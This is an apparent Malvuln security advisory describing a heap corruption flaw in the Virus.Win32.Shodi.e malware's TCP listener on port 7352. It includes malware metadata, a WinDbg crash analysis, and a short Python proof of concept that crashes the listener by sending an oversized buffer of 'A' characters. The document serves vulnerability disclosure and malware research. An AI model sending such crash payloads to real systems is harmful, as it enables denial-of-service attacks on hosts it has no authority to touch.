Virus.Win32.Shodi.e malware suffers from a heap corruption vulnerability.
60949c07340ca0fca71791f4fa045f98Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/37d4a5ba123dd32f1e2c4ba0be14e77c_C.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Virus.Win32.Shodi.e
Vulnerability: Heap Corruption
Description: The virus listens on TCP port 7352. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption.
Type: PE32
MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c
Vuln ID: MVID-2021-0281
Dropped files: Explorer.eXE,Explorer.usr,r_server.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/03/2021
Memory Dump:
(1870.1494): C++ EH exception - code e06d7363 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000003 edx=00000000 esi=00000003 edi=00000003
eip=77daed3c esp=04b7f4d4 ebp=04b7f664 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
77daed3c c21400 ret 14h
0:007> .ecxr
eax=04b7fe10 ebx=04b7fec0 ecx=00000003 edx=00000000 esi=750c3d38 edi=7373f910
eip=75ec08f2 esp=04b7fe10 ebp=04b7fe68 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
KERNELBASE!RaiseException+0x62:
75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:04b7fe64=c54505cd
0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Explorer.eXE
*** ERROR: Module load completed but symbols could not be loaded for Explorer.eXE
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
KERNELBASE!RaiseException+62
75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 75ec08f2 (KERNELBASE!RaiseException+0x00000062)
ExceptionCode: e06d7363 (C++ EH exception)
ExceptionFlags: 00000001
NumberParameters: 3
Parameter[0]: 19930520
Parameter[1]: 04b7fec0
Parameter[2]: 7373f910
PROCESS_NAME: Explorer.eXE
ERROR_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text>
EXCEPTION_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text>
EXCEPTION_PARAMETER1: 19930520
EXCEPTION_PARAMETER2: 04b7fec0
EXCEPTION_PARAMETER3: 7373f910
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001494
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun
LAST_CONTROL_TRANSFER: from 750fa222 to 75ec08f2
STACK_TEXT:
04b7fe68 750fa222 e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x62
04b7feb0 7369679b 04b7fec0 7373f910 737542e8 msvcrt!_CxxThrowException+0x72
04b7fec4 7368f3c7 0000041d 00000200 00000410 mfc42!AfxThrowMemoryException+0x1b
04b7fee4 7368f103 0000041d 0019fea4 73757b18 mfc42!operator new+0x1a467
04b7ff00 73678abf 00000410 004051ec 00000410 mfc42!CString::AllocBuffer+0x16933
04b7ff1c 7369e5bc 00000410 04940488 00000000 mfc42!CString::GetBuffer+0x2f
04b7ff30 7369e474 004051d4 04b7ff50 04b7ff80 mfc42!CString::FormatV+0x2c
04b7ff40 00401814 0019fea4 004051d4 73757b24 mfc42!CString::Format+0x14
WARNING: Stack unwind information not available. Following frames may be wrong.
04b7ff80 755a8654 00000000 755a8630 757b7853 Explorer+0x1814
04b7ff94 77da4a77 00000000 c27680bf 00000000 kernel32!BaseThreadInitThunk+0x24
04b7ffdc 77da4a47 ffffffff 77dc9ec5 00000000 ntdll!__RtlUserThreadStart+0x2f
04b7ffec 00000000 0040173a 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: !heap ; ~7s; .ecxr ; kb
FOLLOWUP_IP:
mfc42!AfxThrowMemoryException+1b
7369679b cc int 3
SYMBOL_STACK_INDEX: 2
SYMBOL_NAME: mfc42!AfxThrowMemoryException+1b
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: mfc42
IMAGE_NAME: mfc42.dll
DEBUG_FLR_IMAGE_TIMESTAMP: d94bc78
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_e06d7363_mfc42.dll!AfxThrowMemoryException
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_mfc42!AfxThrowMemoryException+1b
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=7352
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="A"*9402
s.send(PAYLOAD)
s.close()
print("Virus.Win32.Shodi.e / Heap Corruption")
print("MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c")
print("By Malvuln");
if __name__=="__main__":
doit()
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